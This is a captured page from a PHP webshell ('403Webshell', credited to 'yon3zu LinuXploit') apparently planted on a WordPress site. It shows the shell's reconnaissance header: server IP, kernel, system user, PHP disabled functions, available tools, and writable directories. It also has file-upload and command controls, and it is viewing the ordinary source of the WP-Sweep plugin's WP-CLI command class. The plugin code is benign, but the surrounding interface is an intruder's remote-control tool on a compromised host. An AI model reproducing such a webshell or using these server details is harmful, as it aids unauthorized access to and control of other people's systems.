403Webshell
Server IP : 35.201.19.92  /  Your IP : 216.73.216.212
Web Server : nginx
System : Linux pod-200961 6.8.0-1055-gke #61-Ubuntu SMP Tue May 26 22:57:42 UTC 2026 x86_64
User : fpm200098 ( 200098)
PHP Version : 8.2.34
Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nas/content/live/questfamilyday/wp-content/plugins/wp-sweep/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /nas/content/live/questfamilyday/wp-content/plugins/wp-sweep/inc/class-wpsweep-command.php
<?php
/**
 * WP-Sweep WP-CLI
 *
 * @package wp-sweep
 */

/**
 * Class WPSweep_Command
 */
class WPSweep_Command extends WP_CLI_Command {
	/**
	 * Clean up unused, orphaned and duplicated data in your WordPress
	 *
	 * ## OPTIONS
	 *
	 * [--all]
	 * Sweep all the orphaned data at once.
	 *
	 * Name of the items selected individually
	 * Available Items =
	 *  revisions
	 *  auto_drafts
	 *  deleted_posts
	 *  unapproved_comments
	 *  spam_comments
	 *  deleted_comments
	 *  transient_options
	 *  orphan_postmeta
	 *  orphan_commentmeta
	 *  orphan_usermeta
	 *  orphan_termmeta
	 *  orphan_term_relationships
	 *  unused_terms
	 *  duplicated_postmeta
	 *  duplicated_commentmeta
	 *  duplicated_usermeta
	 *  duplicated_termmeta
	 *  optimize_database
	 *  oembed_postmeta
	 *
	 * ## EXAMPLES
	 *
	 *  1. wp sweep --all
	 *      - Run Sweep for all the items.
	 *  2. wp sweep revisions
	 *      - Sweep only Revision
	 *  3. wp sweep revisions auto_drafts deleted_posts unapproved_comments spam_comments deleted_comments transient_options orphan_postmeta orphan_commentmeta orphan_usermeta orphan_termmeta orphan_term_relationships unused_terms duplicated_postmeta duplicated_commentmeta duplicated_usermeta duplicated_termmeta optimize_database oembed_postmet
	 *      - Sweep the selected items
	 *
	 * @since 1.0.8
	 *
	 * @access public
	 *
	 * @param array $args array Arguments passed to command. Generally unused.
	 * @param array $assoc_args Parameters passed to command to be passed to callback.
	 * @return void
	 */
	public function __invoke( $args, $assoc_args ) {

		$items = array();

		$default_items = array(
			'0'  => 'revisions',
			'1'  => 'auto_drafts',
			'2'  => 'deleted_posts',
			'3'  => 'unapproved_comments',
			'4'  => 'spam_comments',
			'5'  => 'deleted_comments',
			'6'  => 'transient_options',
			'7'  => 'orphan_postmeta',
			'8'  => 'orphan_commentmeta',
			'9'  => 'orphan_usermeta',
			'10' => 'orphan_termmeta',
			'11' => 'orphan_term_relationships',
			'12' => 'unused_terms',
			'13' => 'duplicated_postmeta',
			'14' => 'duplicated_commentmeta',
			'15' => 'duplicated_usermeta',
			'16' => 'duplicated_termmeta',
			'17' => 'optimize_database',
			'18' => 'oembed_postmeta',
		);

		if ( isset( $assoc_args['all'] ) && true === $assoc_args['all'] ) {
			$this->run_sweep( $default_items );
			WP_CLI::success( 'Sweep Complete' );

			return;
		} else {
			foreach ( $default_items as $key => $item ) {
				if ( in_array( $item, $args, true ) ) {
					array_push( $items, $item );
				}
			}

			$this->run_sweep( $items );
			WP_CLI::success( 'Sweep Complete!' );

			return;
		}

	}

	/**
	 * Run WP-Sweep
	 *
	 * @since 1.0.8
	 *
	 * @access public
	 *
	 * @param array $items Sweep items.
	 * @return void
	 */
	public function run_sweep( $items ) {

		$sweep = WPSweep::get_instance();

		foreach ( $items as $key => $value ) {
			$count = $sweep->count( $value );
			if ( 0 !== $count && '0' !== $count ) {
				$message = $sweep->sweep( $value );
				WP_CLI::success( $message );
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit